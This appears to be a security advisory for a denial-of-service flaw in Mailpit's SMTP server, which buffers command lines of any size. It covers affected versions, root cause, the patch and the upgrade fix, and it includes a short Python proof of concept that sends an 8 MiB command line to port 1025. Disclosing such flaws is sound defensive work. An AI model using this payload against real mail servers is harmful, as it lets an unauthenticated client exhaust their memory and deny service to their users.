high · 7.5CVE-2026-67445Sep 2, 2026

CVE-2026-67445: Mailpit SMTP Command Parser Unbounded Memory Allocation (DoS)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Mailpit's SMTP server reads each command line into memory with no size cap, letting any unauthenticated client force arbitrarily large heap allocations before the server rejects the input.

Packagegithub.com/axllent/mailpit
Ecosystemgo
Affected<= 1.30.3
Fixed in1.30.4
CVE-2026-67445: Mailpit SMTP Command Parser Unbounded Memory Allocation (DoS)

The problem

The readLine() function in internal/smtpd/smtpd.go calls bufio.Reader.ReadString('\n') with no maximum length before the SMTP verb is parsed. RFC 5321 limits command lines to 512 octets including CRLF, but Mailpit enforces no such bound at read time.

An unauthenticated client on the default [::]:1025 listener can send a single command line of arbitrary size and force heap allocation proportional to that line before receiving any rejection. Repeating this across concurrent connections degrades or denies Mailpit service.

The existing MaxMessageSize cap applies only after the DATA command, so it does not protect the command reader.

Proof of concept

A working proof-of-concept for CVE-2026-67445 in github.com/axllent/mailpit, with the exact payload below.

bash
python3 -c "
import socket, time
s = socket.create_connection(('127.0.0.1', 1025))
print(s.recv(1024).decode())          # read banner
# Send an 8 MiB command line with no newline until the end.
# readLine() buffers the entire payload before returning any error.
oversized = b'NOOP ' + b'X' * (8 * 1024 * 1024 - 7) + b'\r\n'
s.sendall(oversized)
time.sleep(1)
print(s.recv(1024).decode())          # server responds only after full line received
s.close()
"

The root cause (CWE-400) is that readLine() delegates entirely to bufio.Reader.ReadString('\n'), which grows its internal buffer without bound until a newline arrives. The full attacker-controlled line is resident in heap memory before parseLine() even sees the verb, so no downstream length check can prevent the allocation.

The patch in commit 993bed95b3c74d95231af93bd0e0d4c3d5b4db4d adds a hard cap inside readLine(): if the buffered content exceeds the RFC 5321 command-line limit (512 octets), the function returns a 500 5.5.2 command-line-too-long error immediately, before the oversized data is fully held in memory.

The same cap is applied to AUTH continuation reads in handleAuthLogin(), handleAuthPlain(), and handleAuthCramMD5(), and a parallel fix was applied to the POP3 command reader in internal/pop3/server.go.

The fix

Upgrade to Mailpit v1.30.4 or later. The patch enforces a 512-octet cap on every SMTP command line read (and on POP3 command lines) before buffering completes, returning a protocol-level rejection instead of allocating attacker-controlled memory.

Reporter not attributed.

References: [1][2][3][4][5]

Related research